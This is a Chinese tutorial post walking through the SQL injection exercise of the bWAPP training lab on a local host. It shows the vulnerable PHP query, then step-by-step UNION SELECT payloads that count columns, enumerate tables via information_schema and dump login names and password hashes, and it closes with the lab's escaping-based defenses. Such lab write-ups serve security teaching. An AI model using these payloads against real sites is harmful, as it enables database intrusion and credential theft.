zoukankan      html  css  js  c++  java
  • bWAPP练习--injection篇SQL Injection (GET/Search)

    SQL注入:

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    LOW:

    0x01:分析一下网站的后台源码

    主要源代码:

     1 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
     2 {
     3     //将get方法获取的值赋值个title变量
     4     $title = $_GET["title"];
     5     //后台SQL查询语句
     6     $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
     7     //对MySQL数据库进行查询
     8     $recordset = mysql_query($sql, $link);
     9     if(!$recordset)
    10     {
    11         // die("Error: " . mysql_error());
    12 ?>

    可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。


    0x02:测试分析

    在输入框内输入一些数字,点击搜索

    什么都没有出来。

    网址栏:

    http://127.0.0.1/sqli_1.php?title=1&action=search

     我们再输入一些字符,输入一个e,点击搜索

     

    可以看到出现很多内容,只要Title栏中带e的都会显示出来。

    网址栏:

    http://127.0.0.1/sqli_1.php?title=e&action=search

    这样我们可以分析得出这里是一个字符型的get请求。

    0x03:测试漏洞

    接下来我们进行测试这里是否存在SQL注入漏洞

    常用的方法:

    '(英文符的单引号)报错测试大法
    and和or测试大法

    输入:

    e'

    点击搜索后

    报错了,说明很大可能存在SQL注入漏洞了。

     0x04:爆字段(字段就是这个数据表中的列)

     使用的方法:

    order by 语句
    二分查找法

    输入:

    the' order by 10#

    报错,说明字段数少于10

    再输入:

    the' order by 5#

    这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。

    再输入:

    the' order by 8#

    8也报错,小于8

    再输入:

    the' order by 7#

    发现没有报错,8报错,7没报错,说明字段数就是7了。

     0x07:爆表(即获取当前数据表)

     使用的技术

    union select联合注入

    输入:

    the' union select 1,2,3,4,5,6,7#

    这个1到7就是我们查出来这个表有的列

    我们可以看到,出现了几个数字2、3、5、4

    把一些内置函数替换这几个数字,会得出我们想要的东西。

    例如

    查看当前数据库名:

    输入:

    the' union select 1,database(),3,4,5,6,7#

    我们将2替换成database()这个函数

     

    可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。

     相关函数

    system_user()         系统用户名
    user()                用户名
    current_user          当前用户名
    session_user()        连接数据库的用户名
    database()            数据库名
    version()             MYSQL数据库版本
    load_file()           MYSQL读取本地文件的函数
    @@datadir             读取数据库路径
    @@basedir             MYSQL 安装路径
    @@version_compile_os  操作系统

    这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。

    我查看MySQL的版本号和当前数据库名:

    输入:

    the' union select 1,database(),version(),4,5,6,7#

    可以看到在Release栏出现MySQL的版本5.547。

    暴数据表

    输入:

    the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

    可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。

    0x06:获取后台账户用户名和密码

    先查看users表的所有的列的信息

    输入:

    the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

    其中的login和password,应该是我们有我们想要的东西。

    那我们就去查出它们的信息

    输入:

    the' union select 1,login,password,4,5,6,7 from users#

    在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密

    Medium:

    防护代码:

    function sqli_check_1($data)
    {
       
        return addslashes($data);
        
    }

    使用了addslashes()函数。

     在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;

    预定义字符是:

    • 单引号(')
    • 双引号(")
    • 反斜杠()
    • NULL

    High:

    防护源码:

    function sqli_check_2($data)
    {
       
        return mysql_real_escape_string($data);
        
    }

    使用了mysql_real_escape_string()函数。

  • 相关阅读:
    socket.io+angular.js+express.js做个聊天应用(二)
    [原创]Python通过Thrift连接HBase
    [原创]安装Sqoop并验证
    使用PostgreSQL、Hibernate 构建 NoSQL
    [原创]HBase客户端开发举例(第三部分)
    [原创]HBase客户端开发举例(第二部…
    [原创]全分布模式下Hadoop安装
    Samba的基本配置
    常见设计模式举例 转载有改动
    【转载】hibernate中使用ehcache
  • 原文地址:https://www.cnblogs.com/ESHLkangi/p/8762676.html
Copyright © 2011-2022 走看看